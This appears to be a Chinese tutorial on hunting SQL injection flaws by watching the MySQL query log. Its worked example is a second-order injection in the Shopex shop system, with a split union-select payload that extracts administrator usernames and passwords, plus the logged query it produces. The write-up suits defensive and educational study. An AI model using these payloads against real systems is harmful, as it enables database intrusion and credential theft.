一、注入漏洞簡介

注入漏洞是web應用中最常見的安全漏洞之一，由于一些程序沒有過濾用戶的輸入，攻擊者通過向服務器提交惡意的SQL查詢語句，應用程序接收后錯誤的將攻擊者的輸入作為原始SQL查詢語句的一部分執行，導致改變了程序原始的SQL查詢邏輯，額外的執行了攻擊者構造的SQL查詢語句，從而導致注入漏洞的產生。

攻擊者通過SQL注入可以從數據庫獲取敏感信息，或者利用數據庫的特性執行添加用戶，導出文件等一系列惡意操作。常見的建站系統出現SQL注入漏洞風險概率是非常高的，而本文就SQL注入漏洞的挖掘方法和大家分享交流，其他web安全漏洞暫不做探討。

二、漏洞挖掘思路

我們知道在源碼審計中這樣的SQL注入漏洞很容易被發現，但是對于我們這樣不會代碼審計又想要挖漏洞的小菜來說該怎么辦?那就要講究方法了，這里和大家分享下我平時挖掘漏洞的一些思路。

首先一個好的測試環境很重要，這樣我們可以在短時間內準確的找出注入的位置。在挖注入漏洞之前我們開啟MySQL查詢日志功能，因為有沒有注入的發生，日志里面都可以最直觀的看到。

然后用某個文本查看軟件看日志文件打開網站程序里面執行的SQL(我這里用的是Bare Tail)

接著就是找輸入點了，這個是重點 (這個過程也要仔細觀察mysql查詢日志)。

有些輸入點信息，程序沒有過濾直接查詢數據庫，就造成了注入，

例如，我GET提交:http://localhost/index2.php?id=1a

在監控的MYSQL日志中跟隨1a，此處出現id=1a，可以看出該處未作處理，

并且是一個整型變量，且在單引號外面，

那么我們提交一下URL即可注入，獲取數據任意信息。http://localhost/index2.php?id=1%20union%20select%20user%28%29%20from%20user

實際的提交需要根據數據庫中查詢的語句來構造。

還有一種情況輸入點的信息保存到數據庫中，或者服務器的session中二次讀取時未處理也可導致注入，這種二次注入很多都是不受單引號影響，所以相對來說好利用，危害也是非常大，在mysql日志中跟隨輸入點的信息，這時一定要仔細調試，一旦出現該信息，我們可以看出是否可利用，根據相關情況構造注入語句。

三、Shopex漏洞實例

以shopex漏洞挖掘為例,shopex為部分源碼加密,解密較為繁瑣，涉及文件太多，進行代碼審計需要耗費很多時間，然而利用上面的方法即可輕松找出漏洞。

打開網站，登錄后我們隨便來到一個產品頁面，點擊收藏該產品的時候，查看post的信息，其中的75是我們產品的ID，該處也是個輸入點。

我們將其改為74a在提交一次試試，跟隨SQL日志，可以看到其執行的語句為。

可以看到該處是沒有經過過濾的，74a已經成功寫入數據庫了，如果二次取出時也沒有過濾將造成注入，我們再來到會員中心頁面，該處會在正常操作下顯示我們收藏商品。

此時查看數據庫執行日志發現74a已經出現了，由此可以判斷該處存在二次注入。

由于這里是組合而成的，我們構造好注入語句然后拆分提交，即可繞過首頁的過濾

http://localhost/index.php?member-SQL-ajaxAddFav.html

我們將上面的SQL替換成以下信息，分三次提交：

0)/**/union/**
**/select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**
**/from sdb_operatorslimit 1%23

來到會員中心頁面在產品收藏處可以看到管理員信息。

觀察數據庫日志可以看到此時執行的SQL語句為

Query SELECT aGoods.*,aGimage.thumbnail FROM sdb_goods as aGoods left joinsdb_gimages as aGimage on aGoods.image_default=aGimage.gimage_id WHEREaGoods.goods_id IN (0)/**/union/**,**/select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,concat(username,0x7c,userpass),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81/**,**/fromsdb_operators limit 1#) LIMIT 0, 10

補丁地址：http://bbs.shopex.cn/read.php?tid-308423.html

四、總結

這個半黑盒測試的流程是：

開啟查詢日志------查找輸入點-------跟隨輸入信息--------是否可利用-------構造注入語句

此過程中的重點就是找輸入點和跟隨輸入信息。

輸入點是我們實施注入的入口點，我們必須有效控制這些才能實現注入，這些輸入點可以包含其中一些：

1)表單提交，主要是POST請求，也包括GET請求。

2)URL參數提交，主要為GET請求參數。

3)Cookie參數提交。

4)HTTP請求頭部的一些可修改的值，比如Referer、User_Agent等。

5)一些邊緣的輸入點，比如.jpg文件的一些文件信息等。

有些程序采用了一些錯誤處理，就算SQL查詢語句出錯了也是沒有任何報錯的，這個時候我們只能通過監視SQL查詢日志來判斷了，一旦有注入漏洞的產生這里將是最先看到。

熟練運用該方法基本可以找到程序中所有的注入漏洞，且不需要太懂代碼，要得只是耐心和細心